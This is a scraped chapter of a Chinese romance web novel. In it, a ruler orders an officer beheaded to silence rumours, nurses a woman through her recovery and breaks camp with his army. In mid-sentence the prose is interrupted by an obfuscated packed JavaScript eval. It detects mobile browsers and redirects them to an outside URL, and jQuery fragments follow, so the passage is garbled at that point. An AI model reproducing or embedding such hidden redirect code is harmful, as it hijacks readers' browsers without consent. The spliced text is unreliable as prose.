默认冷灰
24号文字
方正启体

86. 第 86 章

作者:书山路本书字数:K更新时间:
    那张偏将品阶不够,尚不足以参加御前议事,也不知他此刻心中作何想法。


    见众将唯唯不言,吴覆目光冷漠而威严,冷声喝令:“林山,将人捆了,即刻校场问斩,传令三军去观刑!”


    林山领命而去。


    吴覆只问,“诸位,可有异议?”


    众将闻言一凛,因今日要拔营,众人均甲胄在身,不能行全礼,但还是纷纷单膝跪地,“扰乱军心,乃乱军之罪,合当问斩!”


    见众将齐齐噤声,吴覆最后似笑非笑,声音中满是冷意:“前车之鉴在此,谁要还想知道寡人手中刀锋利否,尽管试试。”


    众将齐齐凛然,如何敢拿命去试。


    在一片肃然中,吴覆命众人依次禀报军务。


    ……


    楼月次日醒来时,见天色已亮。


    她懵了片刻后,才从睡意中缓了过来,感觉精神好了许多,一点都不似昨天病重那样昏沉了。看来风寒已大好了。


    这次醒来不见吴覆坐在她床榻边,令她松了口气。她起身下床,从屏风后探出头,却见王帐中也没有人,不知吴覆去哪里了。


    这两天她病得昏昏沉沉,偶尔睁开眼睛时,总是能看到吴覆坐在榻前看着她,他简直像是不用睡觉一般。这个人真是铁打的。


    拢了拢头发,整了整衣服,楼月想洗漱一番,便走到王帐门口掀帘准备出去。


    谁知她刚掀开王帐厚厚的帘子,却见吴覆穿着一身黑色暗纹的常服,背对着王帐负手站着。他面前是七八位身穿盔甲的将军,各个身形板正、魁梧壮实,像是在禀报事情,神色恭敬而畏惧。


    气氛十分凝肃。


    原本几位将军来议事时,还疑惑为何今日只站在帐外,却不像往常一样在王帐中议事。但昨日君上不曾理事,今日能理事已是万幸,又有方才那一番杀鸡儆猴,众将如何敢有疑问,只肃然禀报军务,不敢有二话。


    众将军正在听君上安排今日拔营出发的事情,却见君上身后王帐帘子一动,竟露出一张女子面孔来,那女子一身素色白衣,恍如月中仙子一样忽然出现。但那女子显然没料到帐外这么多人,受了惊一般立刻放下手中帘子,消失在了帘后,只有垂下的帘子落在她仓皇离开时荡起素白的裙摆上,好似花瓣层层荡开。


    众人大惊。等等,刚才那是个女子吧,还是他们都看错了。君上素来不近女色,自登基以来这四年来,各方势力向他献上美人,朝中臣子也都希望自家女儿入后宫,却全都被君上忽视。


    怎么王帐中此刻竟出现一个女子!


    因楼月昨夜烧彻底退了,太医诊脉说她身体已无大恙,只是要以药膳慢慢调理。军中虽有常备的药,但那些名贵滋补的药倒确实不多,再加上大军也确实该出发了。因此吴覆一早起身后便传唤众将,安排拔营出发的事宜。


    正下着命令,却见众将目光纷纷落在自己身后,他回身一看,恰见帘子重重落下。


    吴覆回身,面色如常对众将说,“稍后再议。”只是若是仔细观察,能见他墨色瞳孔如水滴入般微微漾起。


    于是,自方才起一直极为肃然压抑的气氛,忽然有些松弛。众将感觉君上威压骤减,不由得都暗暗松了口气。


    吴覆猜到她要洗漱,便吩咐军士去提热水,自己则迈步进了王帐。


    却见王帐中没有人,于是他只好绕到了屏风后,果然见楼月正坐在榻边。


    “睡醒了?”吴覆站在楼月身前,微微俯身问,“身体怎么样了?可还有不舒服?”


    楼月脸色尴尬,“你……你议完事了?”


    吴覆:“还没有。”


    又说:“药还熬着,马上就熬好了。”


    楼月瞪大了眼睛,“那你快去议事吧。”


    议事到一半,自己露了脸,然后他紧跟着就进来了,这算什么?楼月都不敢想那些将军脑补了什么。丢人丢大了。


    这时军士提热水进来了,吴覆挥手令人退下,自己亲自动手将热水凉水兑在铜盆中,以手试了试温度,正适宜,这才将巾帕打湿又拧至半干,递到了楼月面前。他的手宽大而指节分明,哪怕是一个拧帕子的动作都很好看。


    楼月愣愣地接过半湿的巾帕,不由得催到:“你……你快出去继续议事吧!”给她做这些琐事做什么!


    吴覆却一点都不急,将手探出,自然而然地搭在她额上,感受了片刻,道:“倒是不热了。还有没有哪里不舒服?”


    楼月:………………


    求你了快出去议事吧。


    但看吴覆却丝毫不觉得丢脸,楼月认命叹气,只好问,“……你们怎么在帐外议事?”


    吴覆:“早些时候你还在睡。”所以只能在帐外了。


    他本只想一心守着她的,旁的都不想管了,她睡着了乖乖被他抱在怀里,令他根本移不开眼。但到底堆了一些要紧的军务,得分神去处理。


    楼月觉得好丢人,语气难免带上了埋怨,也忘了自己面前是一国之君,只觉得他是昔年的吴覆,“……都怪你不给我单独拨一顶帐篷!”


    要是她单独住一顶帐篷,怎么会发生刚才的事情!


    她这样的语气,一点都没有疏离了,吴覆眉眼透出极淡的笑意,轻笑一声,“好,怪我。”


    见吴覆竟然心情颇好的样子,楼月不解地看他一眼,“你笑什么!”


    又催促道:“你赶快出去议事吧!”


    吴覆看她羞窘得厉害,只怕她恼羞成怒,只好慢慢止了笑意,说,“好,我这就去议事了。今日准备拔营出发,稍后我要去巡营,你若有事只管遣亲卫来找我,知道吗?”


    楼月胡乱点了点头。


    见吴覆终于出去了,楼月将半湿的巾帕覆在自己脸上,真恨不得找个地缝钻进去。


    在帐中洗漱过后,楼月又等了片刻,听到帐外传来脚步声,像是众人议事结束了。


    她这才轻手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308090|166047||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    轻脚地走到帐门口,将帘子微微掀开一个角去看,果然见帐外已经没有人了。


    楼月松了口气,这才将帘子整个掀开,把守在帐外的亲卫见她出来,目不斜视,楼月试着朝外走了几步,见他们并不阻拦自己,反而沉默地跟在她身后,不像是看守,倒更像是保护。


    在帐中待久了有些闷,楼月便想多走几步。她本不欲走太远,毕竟她一个女子出现在军营,实在是太引人注目。但却听到了喧哗声,不由得循声而去,没有凑近,却远远地却能看到校场的旗杆上,竟挂着一颗高悬的人头。


    那人头仍在滴血,鲜血让旗杆都变得滑腻。


    楼月一下子瞪大了眼睛,鲜血尚未凝固,显然那人头是刚斩下不久。


    她想起之前自己随徐方士刚到吴军大营时,也是乱走间在校场看到了一颗人头。虽知道军中不是什么过家家的地方,这里充满着血与火,生与死。但前后两次亲眼看到人头高悬,还是让楼月受到了极大的冲击。


    这就是七年后的吴覆,一国之君,权掌生杀。可方才那个轻笑看着自己的人,这两日亲手给自己喂药的人,却也是吴覆。他到底是什么样的呢。


    楼月慌慌避开眼,不敢再看,直接回到了王帐中。


    等吴覆巡完营回来,大军已快到拔营出发的时辰了。吴覆想和楼月说几句话,一早上忙着,都没有和她多待一会儿,但她却只是在屏风后坐在床榻上,只说累了,不想理他。


    而后,他便令林山去找一辆马车,她虽会骑马、也爱骑马,但这会儿身体弱,受不得风,还是坐马车舒服些。马车找来后,吴覆让人在马车中密密地铺着毛毡,又备上自己的大氅放着,免得她半途觉得冷,一切备好之后,才让她上了马车。


    很快,大军拔营出发。


    吴军的最前方,一面黑色的大纛在猎猎迎风,上面绣的“吴”字气势几欲冲天。这是吴覆的旗帜,彰显着一国之君就在吴军最前方。


    他是一国之君,也是三军主将,自然有不一般的象征意义。一开始行军时,吴覆尽管肩膀有伤,但还是穿着他那件独一无二的黑色重甲。这黑甲沉沉如夜,将日光吸收,重达几十斤,乃名匠经过千锤万凿而制成的,是当之无愧的宝甲。普通人就算能勉强穿上,被这几十斤重担压着,也根本动弹不得,但吴覆在战场上却能穿戴此甲纵横驰骋。久而久之,那一身黑色重甲,已成了吴军军心之所在,无论战场上形势多么险峻,只要那面黑色绣“吴”字的大纛不倒,只要大纛下那穿着黑色重甲的国君不倒,那么吴军军心便不会倒。


    此番撤军,军中有流言说他伤重,为了稳定军心,吴覆便一如既往地穿着黑色重甲,纵马在最前列,让所有军士都能抬头望见他,以稳定军心。


    直到顺利拔营出发,日上中天,众人纷纷埋头赶路时,吴覆才能将这身重甲脱下,换回了一身常服。按了按左肩伤口,因重甲沉重,左肩伤口不免被压到,竟又有崩裂的趋势。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)